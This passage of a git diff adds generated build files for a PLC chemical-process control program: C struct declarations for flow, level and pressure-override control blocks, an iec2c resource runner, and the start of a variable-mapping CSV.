__DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; 